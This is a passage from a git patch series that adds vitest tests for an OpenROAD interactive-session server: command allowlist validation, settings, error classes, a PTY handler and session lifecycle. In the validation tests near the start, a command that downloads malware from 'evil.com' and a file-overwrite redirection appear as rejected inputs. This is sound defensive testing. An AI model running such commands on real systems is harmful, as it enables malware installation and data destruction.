).toThrow("absolute path"); + + // Plain binary names not in the allowlist are caught by the allowlist check + expect(() => + makeHandler().validateCommand(["wget", "http://evil.com/malware"]), + ).toThrow("not in the allowed commands list"); + }); + + it("blocks file overwrite via redirection", () => { + expect(() => + makeHandler().validateCommand(["openroad", ">sensitive_file.txt"]), + ).toThrow(PTYError); + }); +}); + +describe("environment variable configuration", () => { + it("reads single allowed command from OPENROAD_ALLOWED_COMMANDS", () => { + vi.stubEnv("OPENROAD_ALLOWED_COMMANDS", "openroad"); + const s = Settings.fromEnv(); + expect(s.ALLOWED_COMMANDS).toEqual(["openroad"]); + }); + + it("reads multiple allowed commands separated by commas", () => { + vi.stubEnv("OPENROAD_ALLOWED_COMMANDS", "openroad, sta, or"); + const s = Settings.fromEnv(); + expect(s.ALLOWED_COMMANDS).toEqual(["openroad", "sta", "or"]); + }); + + it("trims whitespace around each command", () => { + vi.stubEnv("OPENROAD_ALLOWED_COMMANDS", "openroad , sta , or"); + const s = Settings.fromEnv(); + expect(s.ALLOWED_COMMANDS).toEqual(["openroad", "sta", "or"]); + }); + + it("disables validation when OPENROAD_ENABLE_COMMAND_VALIDATION=false", () => { + vi.stubEnv("OPENROAD_ENABLE_COMMAND_VALIDATION", "false"); + const s = Settings.fromEnv(); + expect(s.ENABLE_COMMAND_VALIDATION).toBe(false); + }); + + it.each(["false", "False", "0", "no", "No"])( + "disables validation for falsy value %s", + (value) => { + vi.stubEnv("OPENROAD_ENABLE_COMMAND_VALIDATION", value); + const s = Settings.fromEnv(); + expect(s.ENABLE_COMMAND_VALIDATION).toBe(false); + }, + ); + + it.each(["true", "True", "1", "yes", "Yes"])( + "enables validation for truthy value %s", + (value) => { + vi.stubEnv("OPENROAD_ENABLE_COMMAND_VALIDATION", value); + const s = Settings.fromEnv(); + expect(s.ENABLE_COMMAND_VALIDATION).toBe(true); + }, + ); + + it("defaults to openroad in allowed commands", () => { + const s = new Settings(); + expect(s.ALLOWED_COMMANDS).toContain("openroad"); + }); + + it("defaults validation to enabled", () => { + const s = new Settings(); + expect(s.ENABLE_COMMAND_VALIDATION).toBe(true); + }); +}); + +describe("interactive error models", () => { + describe("SessionError", () => { + it("stores sessionId and sets name", () => { + const e = new SessionError("something went wrong", "sess-1"); + expect(e.message).toBe("something went wrong"); + expect(e.sessionId).toBe("sess-1"); + expect(e.name).toBe("SessionError"); + expect(e).toBeInstanceOf(Error); + }); + + it("sessionId is optional", () => { + const e = new SessionError("no id"); + expect(e.sessionId).toBeUndefined(); + }); + }); + + describe("SessionNotFoundError", () => { + it("is a SessionError with correct name", () => { + const e = new SessionNotFoundError("session abc not found", "abc"); + expect(e.name).toBe("SessionNotFoundError"); + expect(e.sessionId).toBe("abc"); + expect(e).toBeInstanceOf(SessionError); + }); + }); + + describe("SessionTerminatedError", () => { + it("is a SessionError with correct name", () => { + const e = new SessionTerminatedError("session terminated", "xyz"); + expect(e.name).toBe("SessionTerminatedError"); + expect(e.sessionId).toBe("xyz"); + expect(e).toBeInstanceOf(SessionError); + }); + }); + + describe("CommandBlockedError", () => { + it("formats message with command verb and stores commandVerb", () => { + const e = new CommandBlockedError("bash", "sess-2"); + expect(e.message).toContain("'bash' is not allowed"); + expect(e.message).toContain("OpenROAD"); + expect(e.commandVerb).toBe("bash"); + expect(e.sessionId).toBe("sess-2"); + expect(e.name).toBe("CommandBlockedError"); + expect(e).toBeInstanceOf(SessionError); + }); + }); + + describe("PTYError", () => { + it("is an Error with correct name", () => { + const e = new PTYError("pty failed"); + expect(e.message).toBe("pty failed"); + expect(e.name).toBe("PTYError"); + expect(e).toBeInstanceOf(Error); + }); + }); +}); From b182b9bad06df0b0fbde538aa5f7e5b681b16e3d Mon Sep 17 00:00:00 2001 From: kartikloops Date: Thu, 11 Jun 2026 21:47:58 -0600 Subject: [PATCH 10/43] add tests for pty handler --- .../__tests__/interactive/pty_handler.test.ts | 346 ++++++++++++++++++ 1 file changed, 346 insertions(+) create mode 100644 typescript/__tests__/interactive/pty_handler.test.ts diff --git a/typescript/__tests__/interactive/pty_handler.test.ts b/typescript/__tests__/interactive/pty_handler.test.ts new file mode 100644 index 0000000..ea072f1 --- /dev/null +++ b/typescript/__tests__/interactive/pty_handler.test.ts @@ -0,0 +1,346 @@ +import { describe, it, expect, beforeEach, afterEach, vi } from "vitest"; +import type { IPty } from "node-pty"; +import { PTYError } from "../../src/interactive/models.js"; +import { Settings } from "../../src/config/settings.js"; + +vi.mock("node-pty", () => ({ + spawn: vi.fn(), +})); + +import { spawn } from "node-pty"; +import { PtyHandler } from "../../src/interactive/pty_handler.js"; + +type MockPty = { + pid: number; + write: ReturnType; + kill: ReturnType; + resize: ReturnType; + onData: ReturnType; + onExit: ReturnType; + _fire: (data: string) => void; + _exit: (code: number) => void; +}; + +function makeMockPty(): MockPty { + let capturedOnData: ((data: string) => void) | undefined; + let capturedOnExit: ((e: { exitCode: number; signal?: number }) => void) | undefined; + + return { + pid: 12345, + write: vi.fn(), + kill: vi.fn(), + resize: vi.fn(), + onData: vi.fn((cb: (data: string) => void) => { + capturedOnData = cb; + return { dispose: vi.fn() }; + }), + onExit: vi.fn((cb: (e: { exitCode: number; signal?: number }) => void) => { + capturedOnExit = cb; + return { dispose: vi.fn() }; + }), + _fire: (data: string) => capturedOnData?.(data), + _exit: (code: number) => capturedOnExit?.({ exitCode: code }), + }; +} + +const validationDisabledSettings = new Settings({ ENABLE_COMMAND_VALIDATION: false }); + +describe("PtyHandler", () => { + let handler: PtyHandler; + let mockPty: MockPty; + + beforeEach(() => { + handler = new PtyHandler(validationDisabledSettings); + mockPty = makeMockPty(); + vi.mocked(spawn).mockReturnValue(mockPty as unknown as IPty); + }); + + afterEach(() => { + vi.clearAllMocks(); + }); + + describe("initialization", () => { + it("starts with all fields null/false", () => { + const h = new PtyHandler(validationDisabledSettings); + expect(h.isProcessAlive()).toBe(false); + }); + }); + + describe("createSession", () => { + it("calls spawn with correct arguments including terminal env vars", async () => { + await handler.createSession(["echo", "hello"], { TEST: "value" }, "/tmp"); + + expect(vi.mocked(spawn)).toHaveBeenCalledOnce(); + const call = vi.mocked(spawn).mock.calls[0]!; + expect(call[0]).toBe("echo"); + expect(call[1]).toEqual(["hello"]); + const opts = call[2]!; + expect(opts.cwd).toBe("/tmp"); + expect((opts.env as Record)["TEST"]).toBe("value"); + expect((opts.env as Record)["TERM"]).toBe("xterm-256color"); + expect((opts.env as Record)["COLUMNS"]).toBe("80"); + expect((opts.env as Record)["LINES"]).toBe("24"); + }); + + it("marks process as alive after createSession", async () => { + await handler.createSession(["echo"]); + expect(handler.isProcessAlive()).toBe(true); + }); + + it("wires onData callback so buffer receives data", async () => { + const received: string[] = []; + await handler.createSession(["echo"], undefined, undefined, (d) => received.push(d)); + + mockPty._fire("hello from pty"); + expect(received).toEqual(["hello from pty"]); + }); + + it("throws PTYError when spawn throws", async () => { + vi.mocked(spawn).mockImplementation(() => { + throw new Error("spawn failed"); + }); + + await expect(handler.createSession(["echo"])).rejects.toThrow(PTYError); + await expect(handler.createSession(["echo"])).rejects.toThrow("Failed to create PTY session"); + }); + + it("registers onExit and marks process dead when it fires", async () => { + await handler.createSession(["echo"]); + expect(handler.isProcessAlive()).toBe(true); + + mockPty._exit(0); + expect(handler.isProcessAlive()).toBe(false); + }); + + it("calls the external onExit callback when the process exits", async () => { + const exitCodes: number[] = []; + await handler.createSession(["echo"], undefined, undefined, undefined, (code) => + exitCodes.push(code), + ); + + mockPty._exit(42); + expect(exitCodes).toEqual([42]); + }); + }); + + describe("writeInput", () => { + it("forwards data to ptyProcess.write", async () => { + await handler.createSession(["echo"]); + handler.writeInput("hello\n"); + expect(mockPty.write).toHaveBeenCalledWith("hello\n"); + }); + + it("throws PTYError when no active process", () => { + expect(() => handler.writeInput("test")).toThrow(PTYError); + expect(() => handler.writeInput("test")).toThrow("Cannot write: no active PTY process"); + }); + + it("throws PTYError when ptyProcess.write throws", async () => { + await handler.createSession(["echo"]); + mockPty.write.mockImplementation(() => { + throw new Error("write failed"); + }); + + expect(() => handler.writeInput("test")).toThrow(PTYError); + expect(() => handler.writeInput("test")).toThrow("Failed to write to PTY"); + }); + }); + + describe("isProcessAlive", () => { + it("returns false before createSession", () => { + expect(handler.isProcessAlive()).toBe(false); + }); + + it("returns true after createSession", async () => { + await handler.createSession(["echo"]); + expect(handler.isProcessAlive()).toBe(true); + }); + + it("returns false after onExit fires", async () => { + await handler.createSession(["echo"]); + mockPty._exit(0); + expect(handler.isProcessAlive()).toBe(false); + }); + }); + + describe("waitForExit", () => { + it("returns null when no process exists", async () => { + const result = await handler.waitForExit(); + expect(result).toBeNull(); + }); + + it("returns exit code when process has already exited", async () => { + await handler.createSession(["echo"]); + mockPty._exit(0); + const result = await handler.waitForExit(); + expect(result).toBe(0); + }); + + it("returns null on timeout when process has not exited", async () => { + await handler.createSession(["echo"]); + const result = await handler.waitForExit(10); + expect(result).toBeNull(); + }); + + it("resolves when process exits before timeout", async () => { + await handler.createSession(["echo"]); + + setTimeout(() => mockPty._exit(1), 10); + const result = await handler.waitForExit(200); + expect(result).toBe(1); + }); + + it("both concurrent waiters resolve when process exits (no single-slot loss)", async () => { + await handler.createSession(["echo"]); + + setTimeout(() => mockPty._exit(42), 10); + const [r1, r2] = await Promise.all([handler.waitForExit(200), handler.waitForExit(200)]); + expect(r1).toBe(42); + expect(r2).toBe(42); + }); + }); + + describe("terminateProcess", () => { + it("does nothing when no process exists", async () => { + await expect(handler.terminateProcess()).resolves.toBeUndefined(); + }); + + it("does nothing when process is already dead", async () => { + await handler.createSession(["echo"]); + mockPty._exit(0); + await handler.terminateProcess(); + expect(mockPty.kill).not.toHaveBeenCalled(); + }); + + it("sends SIGKILL immediately when force=true", async () => { + await handler.createSession(["echo"]); + await handler.terminateProcess(true); + expect(mockPty.kill).toHaveBeenCalledWith("SIGKILL"); + expect(mockPty.kill).not.toHaveBeenCalledWith("SIGTERM"); + }); + + it("sends SIGTERM for graceful shutdown when force=false", async () => { + await handler.createSession(["echo"]); + + setTimeout(() => mockPty._exit(0), 5); + await handler.terminateProcess(false); + + expect(mockPty.kill).toHaveBeenCalledWith("SIGTERM"); + }); + + it("sends SIGKILL after graceful timeout when process does not exit", async () => { + await handler.createSession(["echo"]); + + const originalWaitForExit = handler.waitForExit.bind(handler); + vi.spyOn(handler, "waitForExit").mockImplementation(async (ms) => { + if (ms === 5000) return null; + return originalWaitForExit(ms); + }); + + await handler.terminateProcess(false); + expect(mockPty.kill).toHaveBeenCalledWith("SIGTERM"); + expect(mockPty.kill).toHaveBeenCalledWith("SIGKILL"); + }); + + it("does not throw when SIGTERM kill raises (process already dead)", async () => { + await handler.createSession(["echo"]); + mockPty.kill.mockImplementation(() => { + throw new Error("ESRCH: no such process"); + }); + + await expect(handler.terminateProcess(false)).resolves.toBeUndefined(); + }); + + it("does not throw when SIGKILL raises (process already dead)", async () => { + await handler.createSession(["echo"]); + mockPty.kill.mockImplementation(() => { + throw new Error("ESRCH: no such process"); + }); + + await expect(handler.terminateProcess(true)).resolves.toBeUndefined(); + }); + }); + + describe("cleanup", () => { + it("disposes event listeners and resets state", async () => { + await handler.createSession(["echo"]); + mockPty._exit(0); + + await handler.cleanup(); + + expect(handler.isProcessAlive()).toBe(false); + }); + + it("calls dispose on registered IDisposables", async () => { + await handler.createSession(["echo"], undefined, undefined, () => {}); + const dataDispose = (mockPty.onData.mock.results[0]! as { value: { dispose: ReturnType } }).value + .dispose; + const exitDispose = (mockPty.onExit.mock.results[0]! as { value: { dispose: ReturnType } }).value + .dispose; + + mockPty._exit(0); + await handler.cleanup(); + + expect(dataDispose).toHaveBeenCalledOnce(); + expect(exitDispose).toHaveBeenCalledOnce(); + }); + + it("resets state even when terminateProcess throws (best-effort)", async () => { + await handler.createSession(["echo"]); + + vi.spyOn(handler, "terminateProcess").mockRejectedValueOnce(new Error("kill failed")); + + await expect(handler.cleanup()).resolves.toBeUndefined(); + expect(handler.isProcessAlive()).toBe(false); + }); + + it("resets state even when dispose throws (best-effort)", async () => { + const throwingDispose = vi.fn().mockImplementation(() => { + throw new Error("dispose failed"); + }); + mockPty.onData.mockReturnValueOnce({ dispose: throwingDispose }); + + await handler.createSession(["echo"], undefined, undefined, () => {}); + mockPty._exit(0); + + await expect(handler.cleanup()).resolves.toBeUndefined(); + expect(handler.isProcessAlive()).toBe(false); + expect(throwingDispose).toHaveBeenCalledOnce(); + }); + }); + + describe("buffer empty when no data fired", () => { + it("onData has not fired so no data reaches the consumer", async () => { + const received: string[] = []; + await handler.createSession(["echo"], undefined, undefined, (d) => received.push(d)); + expect(received).toHaveLength(0); + }); + }); + + describe("full lifecycle", () => { + it("create -> write -> data arrives via onData -> exit", async () => { + const received: string[] = []; + const exitCodes: number[] = []; + + await handler.createSession( + ["openroad"], + {}, + undefined, + (d) => received.push(d), + (c) => exitCodes.push(c), + ); + + expect(handler.isProcessAlive()).toBe(true); + + handler.writeInput("hello\n"); + expect(mockPty.write).toHaveBeenCalledWith("hello\n"); + + mockPty._fire("openroad> "); + expect(received).toEqual(["openroad> "]); + + mockPty._exit(0); + expect(handler.isProcessAlive()).toBe(false); + expect(exitCodes).toEqual([0]); + }); + }); +}); From 907bea4d16f89be418a4393f180dac74899dfd21 Mon Sep 17 00:00:00 2001 From: kartikloops Date: Thu, 11 Jun 2026 21:48:02 -0600 Subject: [PATCH 11/43] add tests for interactive session --- .../__tests__/interactive/session.test.ts | 544 ++++++++++++++++++ 1 file changed, 544 insertions(+) create mode 100644 typescript/__tests__/interactive/session.test.ts diff --git a/typescript/__tests__/interactive/session.test.ts b/typescript/__tests__/interactive/session.test.ts new file mode 100644 index 0000000..ea6690d --- /dev/null +++ b/typescript/__tests__/interactive/session.test.ts @@ -0,0 +1,544 @@ +import { describe, it, expect, beforeEach, afterEach, vi } from "vitest"; +import { InteractiveSession } from "../../src/interactive/session.js"; +import { SessionState } from "../../src/core/models.js"; +import { SessionError, SessionTerminatedError } from "../../src/interactive/models.js"; +import { Settings } from "../../src/config/settings.js"; +import type { PtyHandler } from "../../src/interactive/pty_handler.js"; + +vi.mock("node-pty", () => ({ spawn: vi.fn() })); + +function makeMockPty() { + return { + isProcessAlive: vi.fn().mockReturnValue(true), + createSession: vi.fn().mockResolvedValue(undefined), + writeInput: vi.fn(), + terminateProcess: vi.fn().mockResolvedValue(undefined), + cleanup: vi.fn().mockResolvedValue(undefined), + waitForExit: vi.fn().mockResolvedValue(null), + validateCommand: vi.fn(), + } as unknown as PtyHandler; +} + +describe("InteractiveSession", () => { + let session: InteractiveSession; + let mockPty: PtyHandler; + + beforeEach(() => { + session = new InteractiveSession("test-session-1", 1024); + mockPty = makeMockPty(); + session.pty = mockPty; + }); + + afterEach(async () => { + await session.cleanup(); + vi.clearAllMocks(); + }); + + describe("creation", () => { + it("sets correct initial state", () => { + expect(session.sessionId).toBe("test-session-1"); + expect(session.state).toBe(SessionState.CREATING); + expect(session.commandCount).toBe(0); + expect(session.isAlive()).toBe(false); + expect(session.pty).not.toBeNull(); + expect(session.outputBuffer).not.toBeNull(); + }); + + it("getInfo reflects initial state", async () => { + const info = await session.getInfo(); + expect(info.sessionId).toBe("test-session-1"); + expect(info.state).toBe(SessionState.CREATING); + expect(info.isAlive).toBe(false); + expect(info.commandCount).toBe(0); + expect(info.bufferSize).toBe(0); + expect(typeof info.uptimeSeconds).toBe("number"); + }); + }); + + describe("start", () => { + it("transitions to ACTIVE and starts the writer task", async () => { + await session.start(["echo", "test"]); + + expect(session.state).toBe(SessionState.ACTIVE); + expect(mockPty.createSession).toHaveBeenCalledWith( + ["echo", "test"], + undefined, + undefined, + expect.any(Function), + expect.any(Function), + ); + expect(session.isRunning()).toBe(true); + + await session.cleanup(); + }); + + it("uses default openroad command when none provided", async () => { + await session.start(); + + expect(mockPty.createSession).toHaveBeenCalledWith( + ["openroad", "-no_init"], + undefined, + undefined, + expect.any(Function), + expect.any(Function), + ); + + await session.cleanup(); + }); + + it("passes env and cwd through to createSession", async () => { + const env = { TEST_VAR: "value" }; + const cwd = "/test/dir"; + await session.start(["custom", "command"], env, cwd); + + expect(mockPty.createSession).toHaveBeenCalledWith( + ["custom", "command"], + env, + cwd, + expect.any(Function), + expect.any(Function), + ); + + await session.cleanup(); + }); + + it("transitions to ERROR and cleans up when createSession throws", async () => { + (mockPty.createSession as ReturnType).mockRejectedValueOnce( + new Error("PTY creation failed"), + ); + + await expect(session.start(["fail"])).rejects.toThrow("Failed to start session"); + expect(session.state).toBe(SessionState.ERROR); + }); + }); + + describe("sendCommand", () => { + it("queues command and increments command count", async () => { + session.state = SessionState.ACTIVE; + (mockPty.isProcessAlive as ReturnType).mockReturnValue(true); + + await session.sendCommand("test command"); + + expect(session.commandCount).toBe(1); + expect(session.inputQueueSize()).toBe(1); + }); + + it("appends newline to command if missing", async () => { + session.state = SessionState.ACTIVE; + (mockPty.isProcessAlive as ReturnType).mockReturnValue(true); + + await session.sendCommand("test command"); + expect(session.inputQueueSize()).toBe(1); + + await session.sendCommand("with newline\n"); + expect(session.commandCount).toBe(2); + }); + + it("throws SessionTerminatedError on terminated session", async () => { + session.state = SessionState.TERMINATED; + await expect(session.sendCommand("test")).rejects.toThrow(SessionTerminatedError); + }); + + it("throws SessionError when input queue is full", async () => { + const smallQueueSession = new InteractiveSession( + "small-queue", + 1024, + new Settings({ SESSION_QUEUE_SIZE: 2 }), + ); + smallQueueSession.pty = makeMockPty(); + smallQueueSession.state = SessionState.ACTIVE; + + await smallQueueSession.sendCommand("cmd1"); + await smallQueueSession.sendCommand("cmd2"); + + await expect(smallQueueSession.sendCommand("cmd3")).rejects.toThrow(SessionError); + await expect(smallQueueSession.sendCommand("cmd3")).rejects.toThrow("Input queue full"); + + await smallQueueSession.cleanup(); + }); + + it("does not increment commandCount when queue is full", async () => { + const smallQueueSession = new InteractiveSession( + "count-guard", + 1024, + new Settings({ SESSION_QUEUE_SIZE: 2 }), + ); + smallQueueSession.pty = makeMockPty(); + smallQueueSession.state = SessionState.ACTIVE; + + await smallQueueSession.sendCommand("cmd1"); + await smallQueueSession.sendCommand("cmd2"); + expect(smallQueueSession.commandCount).toBe(2); + + await expect(smallQueueSession.sendCommand("cmd3")).rejects.toThrow(SessionError); + expect(smallQueueSession.commandCount).toBe(2); + + await smallQueueSession.cleanup(); + }); + + it("increments command count with multiple commands", async () => { + session.state = SessionState.ACTIVE; + (mockPty.isProcessAlive as ReturnType).mockReturnValue(true); + + await session.sendCommand("cmd1"); + await session.sendCommand("cmd2"); + + expect(session.commandCount).toBe(2); + }); + }); + + describe("readOutput", () => { + beforeEach(() => { + session.state = SessionState.ACTIVE; + (mockPty.isProcessAlive as ReturnType).mockReturnValue(true); + }); + + it("returns output from buffer", async () => { + await session.outputBuffer.append("test output"); + + const result = await session.readOutput(100); + + expect(result.sessionId).toBe("test-session-1"); + expect(result.output).toContain("test output"); + expect(result.commandCount).toBe(0); + expect(result.executionTime).toBeGreaterThanOrEqual(0); + }); + + it("throws on terminated session with empty buffer", async () => { + session.state = SessionState.TERMINATED; + await expect(session.readOutput()).rejects.toThrow(SessionTerminatedError); + }); + + it("drains buffered output instead of throwing when session terminates before readOutput is called (fast-exit race)", async () => { + // Simulate: sendCommand("exit\n") returns, onData fires and appends final + // output, then onExit fires and flips state to TERMINATED, all before + // the caller has a chance to call readOutput. + await session.outputBuffer.append("% Exiting OpenROAD\r\n"); + session.state = SessionState.TERMINATED; + + // Must NOT throw even though the session is terminated + const result = await session.readOutput(100); + + expect(result.output).toContain("Exiting OpenROAD"); + expect(result.executionTime).toBeGreaterThanOrEqual(0); + expect(session.outputBuffer.size).toBe(0); + }); + + it("throws SessionTerminatedError when session is terminated AND buffer is empty", async () => { + session.state = SessionState.TERMINATED; + await expect(session.readOutput()).rejects.toThrow(SessionTerminatedError); + }); + + it("collects delayed output within timeout", async () => { + setTimeout(() => { + void session.outputBuffer.append("delayed output"); + }, 20); + + const result = await session.readOutput(200); + + expect(result.output).toContain("delayed output"); + expect(result.executionTime).toBeGreaterThan(0); + }); + }); + + describe("isAlive", () => { + it("returns false in CREATING state", () => { + expect(session.state).toBe(SessionState.CREATING); + expect(session.isAlive()).toBe(false); + }); + + it("returns false in ACTIVE state when process is dead", () => { + session.state = SessionState.ACTIVE; + (mockPty.isProcessAlive as ReturnType).mockReturnValue(false); + + expect(session.isAlive()).toBe(false); + expect(session.state).toBe(SessionState.TERMINATED); + }); + + it("returns true in ACTIVE state with live process", () => { + session.state = SessionState.ACTIVE; + (mockPty.isProcessAlive as ReturnType).mockReturnValue(true); + + expect(session.isAlive()).toBe(true); + expect(session.state).toBe(SessionState.ACTIVE); + }); + + it("returns false in TERMINATED state", () => { + session.state = SessionState.TERMINATED; + expect(session.isAlive()).toBe(false); + }); + }); + + describe("terminate", () => { + it("sets state to TERMINATED and calls pty.terminateProcess", async () => { + session.state = SessionState.ACTIVE; + + await session.terminate(false); + + expect(session.state).toBe(SessionState.TERMINATED); + expect(mockPty.terminateProcess).toHaveBeenCalledWith(false); + }); + + it("passes force=true through to pty.terminateProcess", async () => { + session.state = SessionState.ACTIVE; + + await session.terminate(true); + + expect(mockPty.terminateProcess).toHaveBeenCalledWith(true); + }); + + it("is a no-op when already terminated", async () => { + session.state = SessionState.TERMINATED; + await session.terminate(); + expect(mockPty.terminateProcess).not.toHaveBeenCalled(); + }); + }); + + describe("cleanup", () => { + it("sets state to TERMINATED, clears buffer, calls pty.cleanup", async () => { + session.state = SessionState.ACTIVE; + await session.outputBuffer.append("test data"); + expect(session.outputBuffer.size).toBeGreaterThan(0); + + await session.cleanup(); + + expect(session.state).toBe(SessionState.TERMINATED); + expect(mockPty.cleanup).toHaveBeenCalledOnce(); + expect(session.outputBuffer.size).toBe(0); + }); + }); + + describe("full lifecycle", () => { + it("CREATING -> start -> ACTIVE -> sendCommand -> terminate -> TERMINATED", async () => { + expect(session.state).toBe(SessionState.CREATING); + + await session.start(["echo", "hello"]); + expect(session.state).toBe(SessionState.ACTIVE); + + await session.sendCommand("test"); + expect(session.commandCount).toBe(1); + + await session.terminate(); + expect(session.state).toBe(SessionState.TERMINATED); + }); + + it("concurrent sendCommand calls all increment command count", async () => { + await session.start(); + + const tasks = Array.from({ length: 5 }, (_, i) => session.sendCommand(`command_${i}`)); + await Promise.all(tasks); + + expect(session.commandCount).toBe(5); + + await session.cleanup(); + }); + }); + + describe("callback wiring (onData / onExit)", () => { + let capturedOnData: ((data: string) => void) | undefined; + let capturedOnExit: ((exitCode: number) => void) | undefined; + + beforeEach(() => { + capturedOnData = undefined; + capturedOnExit = undefined; + (mockPty.createSession as ReturnType).mockImplementation( + async ( + _cmd: unknown, + _env: unknown, + _cwd: unknown, + onData: (d: string) => void, + onExit: (c: number) => void, + ) => { + capturedOnData = onData; + capturedOnExit = onExit; + }, + ); + }); + + it("onData callback routes data directly into outputBuffer", async () => { + await session.start(["echo"]); + + capturedOnData?.("hello from pty\r\n"); + + const chunks = await session.outputBuffer.drainAll(); + expect(chunks.join("")).toContain("hello from pty"); + }); + + it("onExit callback transitions session state to TERMINATED", async () => { + await session.start(["echo"]); + expect(session.state).toBe(SessionState.ACTIVE); + + capturedOnExit?.(0); + + expect(session.state).toBe(SessionState.TERMINATED); + }); + + it("onExit callback is a no-op when session is already TERMINATED", async () => { + await session.start(["echo"]); + session.state = SessionState.TERMINATED; + + // Should not throw or double-signal shutdown + capturedOnExit?.(0); + expect(session.state).toBe(SessionState.TERMINATED); + }); + + it("onData data exactly at READ_CHUNK_SIZE is a single append, not sliced", async () => { + const exactChunkSession = new InteractiveSession( + "exact-chunk", + 1024 * 1024, + new Settings({ READ_CHUNK_SIZE: 8, ENABLE_COMMAND_VALIDATION: false }), + ); + const exactMock = makeMockPty(); + exactChunkSession.pty = exactMock; + + let capturedOnData: ((data: string) => void) | undefined; + (exactMock.createSession as ReturnType).mockImplementation( + async (_cmd: unknown, _env: unknown, _cwd: unknown, onData: (d: string) => void) => { + capturedOnData = onData; + }, + ); + + await exactChunkSession.start(["openroad"]); + + // Exactly READ_CHUNK_SIZE chars - must take the `<=` branch: single append + const exact = "12345678"; // exactly 8 chars + capturedOnData?.(exact); + + await new Promise((r) => setTimeout(r, 5)); + + expect(exactChunkSession.outputBuffer.chunkCount).toBe(1); + const chunks = await exactChunkSession.outputBuffer.drainAll(); + expect(chunks[0]).toBe(exact); + + await exactChunkSession.cleanup(); + }); + + it("large onData burst is sliced into READ_CHUNK_SIZE chunks before buffering", async () => { + // Use a small READ_CHUNK_SIZE so the test doesn't need megabytes of data + const smallChunkSession = new InteractiveSession( + "chunk-test", + 1024 * 1024, // large buffer so nothing is evicted + new Settings({ READ_CHUNK_SIZE: 8, ENABLE_COMMAND_VALIDATION: false }), + ); + const smallChunkMock = makeMockPty(); + smallChunkSession.pty = smallChunkMock; + + let capturedSmallOnData: ((data: string) => void) | undefined; + (smallChunkMock.createSession as ReturnType).mockImplementation( + async ( + _cmd: unknown, + _env: unknown, + _cwd: unknown, + onData: (d: string) => void, + ) => { + capturedSmallOnData = onData; + }, + ); + + await smallChunkSession.start(["openroad"]); + + // Fire a 25-character burst - with chunkSize=8 this produces exactly 4 chunks + // (8 + 8 + 8 + 1 = 25 chars across 4 append calls) + const burst = "AAAAAAAABBBBBBBBCCCCCCCCD"; // 8+8+8+1 = 25 chars + capturedSmallOnData?.(burst); + + // Give the async appends a tick to settle + await new Promise((r) => setTimeout(r, 5)); + + expect(smallChunkSession.outputBuffer.chunkCount).toBe(4); + const chunks = await smallChunkSession.outputBuffer.drainAll(); + expect(chunks.join("")).toBe(burst); + expect(chunks[0]).toHaveLength(8); + expect(chunks[1]).toHaveLength(8); + expect(chunks[2]).toHaveLength(8); + expect(chunks[3]).toHaveLength(1); + + await smallChunkSession.cleanup(); + }); + }); + + describe("start() guard", () => { + it("throws SessionError when called in ACTIVE state (not CREATING)", async () => { + await session.start(["echo"]); + expect(session.state).toBe(SessionState.ACTIVE); + + await expect(session.start(["echo"])).rejects.toThrow("Cannot start session in state"); + + await session.cleanup(); + }); + }); + + describe("_writeInput error handling", () => { + it("transitions state to TERMINATED and signals shutdown when writeInput throws", async () => { + (mockPty.writeInput as ReturnType).mockImplementation(() => { + throw new Error("PTY closed"); + }); + + await session.start(["echo"]); + expect(session.isRunning()).toBe(true); + + await session.sendCommand("trigger"); + + // Give the writer loop a tick to process and hit the throw + await new Promise((r) => setTimeout(r, 20)); + + expect(mockPty.writeInput).toHaveBeenCalled(); + expect(session.state).toBe(SessionState.TERMINATED); + expect(session.isAlive()).toBe(false); + }); + + it("subsequent sendCommand throws SessionTerminatedError after writer failure", async () => { + (mockPty.writeInput as ReturnType).mockImplementation(() => { + throw new Error("PTY closed"); + }); + + await session.start(["echo"]); + await session.sendCommand("trigger"); + + // Let the writer loop hit the throw and transition state + await new Promise((r) => setTimeout(r, 20)); + + // State is TERMINATED - sendCommand must reject, not queue silently + await expect(session.sendCommand("after-failure")).rejects.toThrow(SessionTerminatedError); + }); + }); + + describe("error detection in readOutput", () => { + beforeEach(() => { + session.state = SessionState.ACTIVE; + (mockPty.isProcessAlive as ReturnType).mockReturnValue(true); + }); + + it("detects OpenROAD Error: pattern in output", async () => { + await session.outputBuffer.append('Error: design top not found\n'); + const result = await session.readOutput(100); + // _detectErrors normalises to "Design not found: " + expect(result.error).toMatch(/Design not found: top/); + }); + + it("detects FATAL: pattern in output", async () => { + await session.outputBuffer.append("FATAL: segmentation fault\n"); + const result = await session.readOutput(100); + expect(result.error).toMatch(/Fatal error/); + }); + + it("detects invalid command name pattern", async () => { + await session.outputBuffer.append('invalid command name "foo_bar"\n'); + const result = await session.readOutput(100); + expect(result.error).toMatch(/Invalid command/); + }); + + it("returns null error for clean output", async () => { + await session.outputBuffer.append("openroad> \n"); + const result = await session.readOutput(100); + expect(result.error).toBeNull(); + }); + + it("detects error pattern through ANSI escape codes (strips before matching)", async () => { + // ANSI codes wrapping the error text - must strip before regex matching + await session.outputBuffer.append("\x1b[31mError: design top not found\x1b[0m\n"); + const result = await session.readOutput(100); + expect(result.error).toMatch(/Design not found: top/); + }); + }); +}); From b9cd1664b8e3d0917ae31c48545ca6f9b74c704a Mon Sep 17 00:00:00 2001 From: kartikloops Date: Thu, 11 Jun 2026 21:48:06 -0600 Subject: [PATCH 12/43] update eslint config with coverage ignore and stricter rules --- typescript/eslint.config.ts | 13 +++++++++++++ 1 file changed, 13 insertions(+) diff --git a/typescript/eslint.config.ts b/typescript/eslint.config.ts index b4071ec..d2ab355 100644 --- a/typescript/eslint.config.ts +++ b/typescript/eslint.config.ts @@ -3,6 +3,9 @@ import tsParser from "@typescript-eslint/parser"; import type { ESLint, Linter } from "eslint"; const config: Linter.Config[] = [ + { + ignores: ["coverage/**"], + }, { files: ["src/**/*.ts", "__tests__/**/*.ts"], languageOptions: { @@ -13,6 +16,16 @@ const config: Linter.Config[] = [ ...(tseslint.configs?.["recommended"]?.rules ?? {}), "@typescript-eslint/no-explicit-any": "error", "@typescript-eslint/explicit-function-return-type": "warn", + "@typescript-eslint/no-unused-vars": [ + "error", + { varsIgnorePattern: "^_", argsIgnorePattern: "^_" }, + ], + }, + }, + { + files: ["__tests__/**/*.ts"], + rules: { + "@typescript-eslint/explicit-function-return-type": "off", }, }, ]; From edafb127db028bbd309d5ba3e3970e8290984c02 Mon Sep 17 00:00:00 2001 From: kartikloops Date: Thu, 11 Jun 2026 22:02:25 -0600 Subject: [PATCH 13/43] fix pending waiters, env cast and resolver types in pty handler --- typescript/src/interactive/pty_handler.ts | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) diff --git a/typescript/src/interactive/pty_handler.ts 